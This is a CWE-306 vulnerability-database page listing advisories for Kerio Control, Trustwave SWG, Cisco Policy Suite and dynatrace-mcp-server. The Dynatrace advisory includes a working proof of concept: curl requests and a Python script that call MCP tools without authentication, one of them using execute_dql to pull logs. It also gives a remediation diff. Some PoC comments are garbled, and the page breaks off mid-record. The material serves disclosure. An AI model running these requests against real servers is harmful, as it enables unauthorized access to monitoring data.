Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-P7CQ-WXFH-7J76

Vulnerability from github – Published: 2025-07-02 15:30 – Updated: 2025-09-17 15:30
VLAI
Details

A remote code execution vulnerability in GFI Kerio Control 9.4.5 allows attackers with administrative access to upload and execute arbitrary code through the firmware upgrade feature. The system upgrade mechanism accepts unsigned .img files, which can be modified to include malicious scripts within the upgrade.sh or disk image components. These modified upgrade images are not validated for authenticity or integrity, and are executed by the system post-upload, enabling root access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-34071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-02T14:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "A remote code execution vulnerability in GFI Kerio Control 9.4.5 allows attackers with administrative access to upload and execute arbitrary code through the firmware upgrade feature. The system upgrade mechanism accepts unsigned .img files, which can be modified to include malicious scripts within the upgrade.sh or disk image components. These modified upgrade images are not validated for authenticity or integrity, and are executed by the system post-upload, enabling root access.",
  "id": "GHSA-p7cq-wxfh-7j76",
  "modified": "2025-09-17T15:30:26Z",
  "published": "2025-07-02T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34071"
    },
    {
      "type": "WEB",
      "url": "https://ssd-disclosure.com/ssd-advisory-kerio-control-authentication-bypass-and-rce"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/gfi-kerio-control-auth-bypass-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P7MR-JQMX-QQ7X

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2025-04-20 03:50
VLAI
Details

Trustwave Secure Web Gateway (SWG) through 11.8.0.27 allows remote attackers to append an arbitrary public key to the device's SSH Authorized Keys data, and consequently obtain remote root access, via the publicKey parameter to the /sendKey URI.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-18001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-31T19:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Trustwave Secure Web Gateway (SWG) through 11.8.0.27 allows remote attackers to append an arbitrary public key to the device\u0027s SSH Authorized Keys data, and consequently obtain remote root access, via the publicKey parameter to the /sendKey URI.",
  "id": "GHSA-p7mr-jqmx-qq7x",
  "modified": "2025-04-20T03:50:41Z",
  "published": "2022-05-13T01:44:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18001"
    },
    {
      "type": "WEB",
      "url": "https://blogs.securiteam.com/index.php/archives/3550"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44047"
    },
    {
      "type": "WEB",
      "url": "https://www.trustwave.com/Resources/Trustwave-Software-Updates/Important-Security-Update-for-Trustwave-Secure-Web-Gateway"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Dec/88"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P7MR-MFC2-48QW

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

A vulnerability in the Policy Builder database of Cisco Policy Suite before 18.2.0 could allow an unauthenticated, remote attacker to connect directly to the Policy Builder database. The vulnerability is due to a lack of authentication. An attacker could exploit this vulnerability by connecting directly to the Policy Builder database. A successful exploit could allow the attacker to access and change any data in the Policy Builder database. Cisco Bug IDs: CSCvh06134.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-18T23:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Policy Builder database of Cisco Policy Suite before 18.2.0 could allow an unauthenticated, remote attacker to connect directly to the Policy Builder database. The vulnerability is due to a lack of authentication. An attacker could exploit this vulnerability by connecting directly to the Policy Builder database. A successful exploit could allow the attacker to access and change any data in the Policy Builder database. Cisco Bug IDs: CSCvh06134.",
  "id": "GHSA-p7mr-mfc2-48qw",
  "modified": "2022-05-13T01:35:17Z",
  "published": "2022-05-13T01:35:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0374"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180718-policy-unauth-access"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104851"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P7W7-4929-VPJ5

Vulnerability from github – Published: 2026-07-31 16:05 – Updated: 2026-07-31 16:05
VLAI
Summary
`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
Details

Summary

@dynatrace-oss/dynatrace-mcp-server v1.8.5 exposes an HTTP transport mode (--http flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC tools/call request without an Authorization header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include execute_dql (reads arbitrary Grail data, including logs, security events, and user sessions) and create_dynatrace_notebook (writes notebooks to the tenant).

Details

When the server is started with the --http flag, an HTTP server is created at src/index.ts:1621. For every inbound request the handler creates a new StreamableHTTPServerTransport instance:

// src/index.ts:1638-1640
const httpTransport = new StreamableHTTPServerTransport({
  sessionIdGenerator: undefined, // No Session ID needed
});

No bearer-token check, session token, Host allowlist, or Origin allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:

// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);

Two tools are directly reachable by an unauthenticated HTTP caller without any requestHumanApproval gate:

execute_dql — Confidentiality: High

// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));
return executeDql(dtClient, { query });

An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.

create_dynatrace_notebook — Integrity: Low

// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));
return createNotebook(dtClient, { name, sections });

An attacker can create notebooks under the victim's tenant.

Note on send_event: The initial static report claimed send_event was also unguarded. Code inspection at src/index.ts:1367 confirms a requestHumanApproval call exists inside the send_event handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns false, effectively blocking the write. The send_event path is therefore not exploitable via the HTTP attack vector.

Note on PoC tool reset_grail_budget: The PoC uses reset_grail_budget (src/index.ts:1218-1239), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires execute_dql with real credentials.

PoC

Environment setup (Docker):

# Build from repository root
docker build \
  -t dynatrace-mcp-vuln001:latest \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/dynatrace-mcp/repo

# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
  --name dynatrace-mcp-vuln001-test \
  -p 127.0.0.1:3999:3999 \
  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
  -e DT_PLATFORM_TOKEN=fake-token-for-poc \
  dynatrace-mcp-vuln001:latest \
  --http --port 3999 --host 0.0.0.0

Unauthenticated tool invocation (no Authorization header):

curl -sS -N -X POST http://127.0.0.1:3999/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'

Observed response (HTTP 200, no authentication required):

HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1}

Python PoC script (automated, with server-readiness polling):

python3 poc.py 127.0.0.1 3999
# Exits 0 on confirmed unauthenticated tool execution
# Exits 2 if server correctly returns HTTP 401 (patched)

High-impact variant with real credentials — data exfiltration via execute_dql:

curl -sS -N -X POST http://<server>:3000/ \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'Mcp-Protocol-Version: 2025-03-26' \
  --data '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "execute_dql",
      "arguments": {
        "query": "fetch logs | limit 10"
      }
    }
  }'

Recommended remediation:

--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from 'node:crypto';

+    .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')

+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {
+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+    const actualHeader = req.headers.authorization;
+    if (!expected || !actualHeader) return false;
+    const actual = Buffer.from(actualHeader);
+    return actual.length === expected.length && timingSafeEqual(actual, expected);
+  };

   if (httpMode) {
+    if (!httpAuthToken) {
+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');
+      process.exit(1);
+    }
     const httpServer = createServer(async (req, res) => {
+      if (!isAuthorizedHttpRequest(req)) {
+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });
+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));
+        return;
+      }

       const httpTransport = new StreamableHTTPServerTransport({
         sessionIdGenerator: undefined,
+        enableDnsRebindingProtection: true,
+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
       });

Impact

This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via execute_dql and write notebook documents via create_dynatrace_notebook, all under the configured Dynatrace credentials without needing to know those credentials.

Who is impacted: Organizations running dynatrace-mcp-server with the --http flag enabled — particularly deployments using --host 0.0.0.0 (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With --host 0.0.0.0 the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.

Reproduction artifacts

Dockerfile

# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
# build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build

WORKDIR /app

# repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .

RUN npm ci
RUN npm run build

# runtime textonly install (dist/package.json criteria)
RUN cd dist && npm install --ignore-scripts && npm cache clean --force

# runtime stage
FROM node:22.21.1-alpine3.22

WORKDIR /app

COPY --from=build --chown=node:node /app/dist /app/dist

USER node

# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)
# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)
ENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com
ENV DT_PLATFORM_TOKEN=fake-token-for-poc

# HTTP text server start (--http: vulnerability text flag)
ENTRYPOINT ["node", "dist/index.js"]
CMD ["--http", "--port", "3999", "--host", "0.0.0.0"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)

Proof objective:
  dynatrace-mcp-servertext --http text executetext when, Authorization headertext
  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.

Attack target tool: reset_grail_budget
  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)
  - success response: "Grail Budget Reset Successfully" string contains

usage:
  python3 poc.py [host] [port]
  python3 poc.py 127.0.0.1 3999
"""

import sys
import socket
import time
import json

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999
TIMEOUT = 15


def wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:
    for i in range(retries):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.close()
            return True
        except (ConnectionRefusedError, OSError):
            print(f"[*] server wait in progress... ({i+1}/{retries})", flush=True)
            time.sleep(delay)
    return False


def send_unauthenticated_mcp_call(host: str, port: int) -> dict:
    """
    without an authentication header MCP tools/call send request.
    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,
            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).
    """
    payload = json.dumps({
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "reset_grail_budget",
            "arguments": {}
        }
    })

    # authentication header textas omit - textthattext vulnerability prooftext key point
    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/json\r\n"
        f"Accept: application/json, text/event-stream\r\n"
        f"Mcp-Protocol-Version: 2025-03-26\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{payload}"
    )

    s = socket.create_connection((host, port), timeout=TIMEOUT)
    s.sendall(request.encode())

    response_chunks = []
    s.settimeout(TIMEOUT)
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response_chunks.append(chunk.decode("utf-8", errors="replace"))
    except socket.timeout:
        pass
    s.close()

    return "".join(response_chunks)


def main():
    print(f"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation")
    print(f"[*] target: http://{HOST}:{PORT}/")
    print(f"[*] authentication header: none (text omit - vulnerability proof)")
    print(f"[*] call tool: reset_grail_budget")
    print()

    # wait for server readiness
    print(f"[*] waiting for server response...")
    if not wait_for_server(HOST, PORT):
        print(f"[FAIL] {HOST}:{PORT} from server is not responding.")
        sys.exit(1)

    print(f"[*] server connection succeeded")
    print(f"[*] without authentication tools/call send request...")
    print()

    raw_response = send_unauthenticated_mcp_call(HOST, PORT)

    print("=== HTTP response raw text ===")
    print(raw_response)
    print("=== response text ===")
    print()

    # evidence verification
    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)
    if "401" in raw_response and "Unauthorized" in raw_response:
        print("[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists")
        print("[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.")
        sys.exit(2)

    # success condition: reset_grail_budget result text contains
    if "Grail Budget Reset Successfully" in raw_response:
        print("[PASS] without authentication MCP tool execute success!")
        print("[evidence] responsetext 'Grail Budget Reset Successfully' contains")
        print("[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible")
        sys.exit(0)

    # jsonrpc result parse attempt
    for line in raw_response.split("\n"):
        line = line.strip()
        if line.startswith("data:") or line.startswith("{"):
            try:
                data_str = line[5:].strip() if line.startswith("data:") else line
                data = json.loads(data_str)
                if "result" in data:
                    print("[PASS] JSON-RPC result received - without authentication tool call success")
                    print(f"[evidence] {json.dumps(data, ensure_ascii=False)}")
                    sys.exit(0)
                if "error" in data:
                    err = data["error"]
                    print(f"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}")
            except json.JSONDecodeError:
                pass

    print("[INCOMPLETE] expected response patterntext text text.")
    print("[text] above response raw texttext check this.")
    sys.exit(3)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@dynatrace-oss/dynatrace-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:05:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server\u0027s Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).\n\n### Details\n\nWhen the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:\n\n```ts\n// src/index.ts:1638-1640\nconst httpTransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: undefined, // No Session ID needed\n});\n```\n\nNo bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:\n\n```ts\n// src/index.ts:1648-1668\nbody = JSON.parse(rawBody);\n...\nawait httpTransport.handleRequest(req, res, body);\n```\n\nTwo tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:\n\n**`execute_dql` \u2014 Confidentiality: High**\n```ts\n// src/index.ts:746-769\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat(\u0027storage:buckets:read\u0027, ...));\nreturn executeDql(dtClient, { query });\n```\nAn attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim\u0027s Dynatrace credentials.\n\n**`create_dynatrace_notebook` \u2014 Integrity: Low**\n```ts\n// src/index.ts:1593-1600\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat(\u0027document:write\u0027));\nreturn createNotebook(dtClient, { name, sections });\n```\nAn attacker can create notebooks under the victim\u0027s tenant.\n\n\u003e **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.\n\n\u003e **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls \u2014 it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build \\\n  -t dynatrace-mcp-vuln001:latest \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/dynatrace-mcp/repo\n\n# Run \u2014 abc12345 in hostname activates demo mode, skipping real API connectivity check\ndocker run -d \\\n  --name dynatrace-mcp-vuln001-test \\\n  -p 127.0.0.1:3999:3999 \\\n  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \\\n  -e DT_PLATFORM_TOKEN=fake-token-for-poc \\\n  dynatrace-mcp-vuln001:latest \\\n  --http --port 3999 --host 0.0.0.0\n```\n\n**Unauthenticated tool invocation (no `Authorization` header):**\n\n```bash\ncurl -sS -N -X POST http://127.0.0.1:3999/ \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  -H \u0027Mcp-Protocol-Version: 2025-03-26\u0027 \\\n  --data \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"reset_grail_budget\",\"arguments\":{}}}\u0027\n```\n\n**Observed response (HTTP 200, no authentication required):**\n\n```\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"\u2705 **Grail Budget Reset Successfully!**\\n\\nBudget status after reset:\\n- Total bytes scanned: 0 bytes (0 GB)\\n- Budget limit: 5000 GB\\n- Remaining budget: 5000 GB\\n- Budget exceeded: No\"}]},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\n**Python PoC script** (automated, with server-readiness polling):\n\n```bash\npython3 poc.py 127.0.0.1 3999\n# Exits 0 on confirmed unauthenticated tool execution\n# Exits 2 if server correctly returns HTTP 401 (patched)\n```\n\n**High-impact variant with real credentials \u2014 data exfiltration via `execute_dql`:**\n\n```bash\ncurl -sS -N -X POST http://\u003cserver\u003e:3000/ \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Accept: application/json, text/event-stream\u0027 \\\n  -H \u0027Mcp-Protocol-Version: 2025-03-26\u0027 \\\n  --data \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_dql\",\n      \"arguments\": {\n        \"query\": \"fetch logs | limit 10\"\n      }\n    }\n  }\u0027\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/src/index.ts\n+++ b/src/index.ts\n+import { timingSafeEqual } from \u0027node:crypto\u0027;\n\n+    .option(\u0027--http-auth-token \u003ctoken\u003e\u0027, \u0027bearer token required for HTTP server mode\u0027)\n\n+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;\n+\n+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean =\u003e {\n+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;\n+    const actualHeader = req.headers.authorization;\n+    if (!expected || !actualHeader) return false;\n+    const actual = Buffer.from(actualHeader);\n+    return actual.length === expected.length \u0026\u0026 timingSafeEqual(actual, expected);\n+  };\n\n   if (httpMode) {\n+    if (!httpAuthToken) {\n+      console.error(\u0027HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.\u0027);\n+      process.exit(1);\n+    }\n     const httpServer = createServer(async (req, res) =\u003e {\n+      if (!isAuthorizedHttpRequest(req)) {\n+        res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027, \u0027WWW-Authenticate\u0027: \u0027Bearer\u0027 });\n+        res.end(JSON.stringify({ jsonrpc: \u00272.0\u0027, id: null, error: { code: -32001, message: \u0027Unauthorized\u0027 } }));\n+        return;\n+      }\n\n       const httpTransport = new StreamableHTTPServerTransport({\n         sessionIdGenerator: undefined,\n+        enableDnsRebindingProtection: true,\n+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],\n       });\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim\u0027s Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.\n\n**Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled \u2014 particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n# build stage - text sourcefrom dynatrace-mcp-server build\nFROM node:22.21.1-alpine3.22 AS build\n\nWORKDIR /app\n\n# repo copy the full repo source (hosttext clone repo pathfrom textand build)\nCOPY . .\n\nRUN npm ci\nRUN npm run build\n\n# runtime textonly install (dist/package.json criteria)\nRUN cd dist \u0026\u0026 npm install --ignore-scripts \u0026\u0026 npm cache clean --force\n\n# runtime stage\nFROM node:22.21.1-alpine3.22\n\nWORKDIR /app\n\nCOPY --from=build --chown=node:node /app/dist /app/dist\n\nUSER node\n\n# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)\n# abc12345 contains when isDemoEnvironment=true \u2192 text text skip (src/index.ts:179)\nENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com\nENV DT_PLATFORM_TOKEN=fake-token-for-poc\n\n# HTTP text server start (--http: vulnerability text flag)\nENTRYPOINT [\"node\", \"dist/index.js\"]\nCMD [\"--http\", \"--port\", \"3999\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n\nProof objective:\n  dynatrace-mcp-servertext --http text executetext when, Authorization headertext\n  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.\n\nAttack target tool: reset_grail_budget\n  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)\n  - success response: \"Grail Budget Reset Successfully\" string contains\n\nusage:\n  python3 poc.py [host] [port]\n  python3 poc.py 127.0.0.1 3999\n\"\"\"\n\nimport sys\nimport socket\nimport time\nimport json\n\nHOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 3999\nTIMEOUT = 15\n\n\ndef wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -\u003e bool:\n    for i in range(retries):\n        try:\n            s = socket.create_connection((host, port), timeout=2)\n            s.close()\n            return True\n        except (ConnectionRefusedError, OSError):\n            print(f\"[*] server wait in progress... ({i+1}/{retries})\", flush=True)\n            time.sleep(delay)\n    return False\n\n\ndef send_unauthenticated_mcp_call(host: str, port: int) -\u003e dict:\n    \"\"\"\n    without an authentication header MCP tools/call send request.\n    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,\n            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).\n    \"\"\"\n    payload = json.dumps({\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"reset_grail_budget\",\n            \"arguments\": {}\n        }\n    })\n\n    # authentication header textas omit - textthattext vulnerability prooftext key point\n    request = (\n        f\"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Accept: application/json, text/event-stream\\r\\n\"\n        f\"Mcp-Protocol-Version: 2025-03-26\\r\\n\"\n        f\"Content-Length: {len(payload)}\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n        f\"{payload}\"\n    )\n\n    s = socket.create_connection((host, port), timeout=TIMEOUT)\n    s.sendall(request.encode())\n\n    response_chunks = []\n    s.settimeout(TIMEOUT)\n    try:\n        while True:\n            chunk = s.recv(4096)\n            if not chunk:\n                break\n            response_chunks.append(chunk.decode(\"utf-8\", errors=\"replace\"))\n    except socket.timeout:\n        pass\n    s.close()\n\n    return \"\".join(response_chunks)\n\n\ndef main():\n    print(f\"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation\")\n    print(f\"[*] target: http://{HOST}:{PORT}/\")\n    print(f\"[*] authentication header: none (text omit - vulnerability proof)\")\n    print(f\"[*] call tool: reset_grail_budget\")\n    print()\n\n    # wait for server readiness\n    print(f\"[*] waiting for server response...\")\n    if not wait_for_server(HOST, PORT):\n        print(f\"[FAIL] {HOST}:{PORT} from server is not responding.\")\n        sys.exit(1)\n\n    print(f\"[*] server connection succeeded\")\n    print(f\"[*] without authentication tools/call send request...\")\n    print()\n\n    raw_response = send_unauthenticated_mcp_call(HOST, PORT)\n\n    print(\"=== HTTP response raw text ===\")\n    print(raw_response)\n    print(\"=== response text ===\")\n    print()\n\n    # evidence verification\n    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)\n    if \"401\" in raw_response and \"Unauthorized\" in raw_response:\n        print(\"[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists\")\n        print(\"[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.\")\n        sys.exit(2)\n\n    # success condition: reset_grail_budget result text contains\n    if \"Grail Budget Reset Successfully\" in raw_response:\n        print(\"[PASS] without authentication MCP tool execute success!\")\n        print(\"[evidence] responsetext \u0027Grail Budget Reset 